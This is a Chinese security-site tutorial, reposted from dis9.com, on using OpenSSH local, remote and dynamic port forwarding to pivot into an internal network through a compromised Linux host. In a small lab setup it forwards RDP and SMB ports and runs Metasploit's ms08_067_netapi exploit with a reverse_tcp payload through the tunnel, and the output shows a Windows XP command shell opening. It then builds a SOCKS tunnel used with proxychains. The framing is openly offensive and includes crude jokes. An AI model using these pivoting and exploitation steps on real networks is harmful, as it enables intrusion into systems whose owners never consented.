热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

内网入侵 OPENSSH 端口转发的利用

发布时间:2012-06-11 20:10文章来源:dis9.com文章作者:brk 点击次数:
摘要:前言 OPENSSH SERVER这个东西在内网入侵中的利用,前几天徒弟一枝花问我,只是简单的说了下,今天详细的讲讲 其实这个东西有很多的用处,请背诵man1-10段 前几天教学文档的37课端口劫持也不错,秒杀SSL和SSH密匙认证,但是总的来说OPENSSH更为强大,其实端口...

前言

OPENSSH SERVER这个东西在内网入侵中的利用,前几天徒弟一枝花问我,只是简单的说了下,今天详细的讲讲
其实这个东西有很多的用处,请背诵man1-10段… 前几天教学文档的37课端口劫持也不错,秒杀SSL和SSH密匙认证,但是总的来说OPENSSH更为强大,其实端口劫持在教学文档中也只是一笔带过,以后会详细的说作用,会让你射精
其实最常用的还是SOCKS 什么的 ,去围观苍老师,腾飞老师,这个不能说 ,怕被和谐,听TM3Y这货说帝都已经封了22端口了

原理

OpenSSH 通过其加密的数据通道可以创建三种类型的端口转发,分别是本地(Local)、远程(Remote)和动态(Dynamic)。
本地(Local)

1.
ssh -N -L bind_address:bind_port:host_name:host_port username@server_address

ssh -N -L bind_address:bind_port:host_name:host_port username@server_address

当上面的命令被执行后,运行在客户端的 ssh 进程先连接运行在服务器端(server_address) sshd 进程,并进行身份验证。如果验证成功了,ssh 和 sshd 之间会建立一个 TCP/IP 连接,用于传输数据,这个连接上面传输的数据是加密的。

接着 ssh 会在 bind_address:bind_port 上创建一个 TCP/IP 协议的 socket 并进行侦听,当收到数据后直接通过之前建立的连接传输给服务器上的 sshd 进程, sshd 收到数据后会新建一个 socket 连接 host_name:host_port 并向其发送之前收到的数据。

相反,当 sshd 收到数据后也会按类似的方式通道加密通道传输给 ssh 进程。这样通过加密通道的本地端口转发就工作起来了。
远程(Remote)

1.
ssh -N -R bind_address:bind_port:host_name:host_port username@server_address

ssh -N -R bind_address:bind_port:host_name:host_port username@server_address

远程类型的端口转发和本地类型的原来是一样的,只是侦听的端口刚好相反。这种类型的端口转发是 sshd 进程创建一个 TCP/IP 协议的 socket 在 bind_address:bind_port 上侦听,而 ssh 则是在第一次收到数据后创建 socket 连接 host_name:host_port。

动态(Dynamic)

1.
ssh -N -D bind_address:bind_port username@server_address

ssh -N -D bind_address:bind_port username@server_address

动态类型的转发是 ssh 创建一个 socks v5 的服务并在 bind_address:bind_port 上侦听,当收到数据后,解析出需要连接的主机和端口并通道加密通道发送给 sshd,sshd 转发数据后并返回结果数据。

特别的地方就在被连接的主机是通过 socks v5 进行动态确定的。这样的端口转发功能用作加密代理是不错的选择。
环境

目标 Windows xp2 IP 192.168.40.129 //内网
肉鸡 LINUX 192.168.40.130 // 和目标一个网段 相互访问
本地 linux 192.168.40.128 //能访问肉鸡 不能访问目标机
为了真实 我在目标机子吧本地的IP封了


 

PING不通的



端口转发

在肉鸡上运行:ssh -l root -t -t -R 本地端口:目标IP:目标端口 本地IP
吧目标的3389端口转发到本地的1234端口

  1. root@Dis9Team:~# ssh -l root -t -t -R 1234:192.168.40.129:3389 192.168.40.128
  2. root@192.168.40.128's password:
  3. Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-generic i686)
  4.  
  5. * Documentation:  https://help.ubuntu.com/
  6.  
  7. 313 packages can be updated.
  8. 144 updates are security updates.
  9.  
  10. New release 'oneiric' available.
  11. Run 'do-release-upgrade' to upgrade to it.
  12.  
  13. You have new mail.
  14. Last login: Sun Jun  3 14:39:18 2012 from 192.168.40.130
  15. root@Dis9Team:~#

本地查看有端口监听了木

  1. root@Dis9Team:~# netstat -antp | grep 1234
  2. tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN      2127/1
  3. tcp6       0      0 ::1:1234                :::*                    LISTEN      2127/1
  4. root@Dis9Team:~#

有了 连接下试试:


 

当然我们也能做点其他事情 转发445端口
在肉鸡上运行

1.
root@Dis9Team:~# ssh -l root -t -t -R 445:192.168.40.129:445 192.168.40.128

本地的操作:


 

接下来:

  1. msf  exploit(smb_relay) > use exploit/windows/smb/ms08_067_netapi
  2. msf  exploit(ms08_067_netapi) > set RHOST 127.0.0.1
  3. RHOST => 127.0.0.1
  4. msf  exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
  5. PAYLOAD => windows/shell/reverse_tcp
  6. msf  exploit(ms08_067_netapi) > set LHOST 192.168.40.128
  7. LHOST => 192.168.40.128
  8. msf  exploit(ms08_067_netapi) > set LPORT 88
  9. LPORT => 88
  10.  
  11. msf  exploit(ms08_067_netapi) > set TARGET 17
  12. TARGET => 17
  13. msf  exploit(ms08_067_netapi) > exploit
  14.  
  15. [*] Started reverse handler on 192.168.40.128:88
  16. [-] Exploit exception: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
  17. msf  exploit(ms08_067_netapi) > exploit
  18.  
  19. [*] Started reverse handler on 192.168.40.128:88
  20. [*] Attempting to trigger the vulnerability...
  21. [*] Sending stage (240 bytes) to 192.168.40.129
  22. [*] Command shell session 1 opened (192.168.40.128:88 -> 192.168.40.129:1034) at 2012-06-03 15:03:39 -0700
  23.  
  24. Microsoft Windows XP [�汾 5.1.2600]
  25. (C) ��Ȩ���� 1985-2001 Microsoft Corp.
  26.  
  27. C:\WINDOWS\system32>

隧道

当然你嫌PORT转发麻烦,你还可以建立隧道的方式进行内网入侵
本地运行 :ssh -qTfnN -D 端口 user_name@肉鸡IP

  1. root@Dis9Team:~# ssh -qTfnN -D 12345 root@192.168.40.130
  2. The authenticity of host '192.168.40.130 (192.168.40.130)' can't be established.
  3. ECDSA key fingerprint is 7a:31:88:44:80:aa:a6:b6:3d:d3:f6:79:fe:2b:13:4e.
  4. Are you sure you want to continue connecting (yes/no)? yes
  5. root@192.168.40.130 's password:
  6. root@Dis9Team:~#

这样你就建立了个socks5隧道,你自己定义BASH变量代理,或者使用proxychains,我用的是proxychains,编辑配置文件/etc/proxychains.conf更改代理端口
我PING下目标机子看看 是否能通 测试:

  1. root@Dis9Team:~# proxychains ping 192.168.40.129
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. PING 192.168.40.129 (192.168.40.129) 56(84) bytes of data.
  4. 64 bytes from 192.168.40.129: icmp_req=1 ttl=128 time=0.576 ms
  5. 64 bytes from 192.168.40.129: icmp_req=2 ttl=128 time=0.305 ms
  6. ^C
  7. --- 192.168.40.129 ping statistics ---
  8. 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
  9. rtt min/avg/max/mdev = 0.305/0.440/0.576/0.137 ms
  10. root@Dis9Team:~#

O了,扫描下看看

1.
root@Dis9Team:~# proxychains ping 192.168.40.129

 


 

 

标签分类:

上一篇:内网渗透 如何打开突破口
下一篇:mysql的root利用system函数提权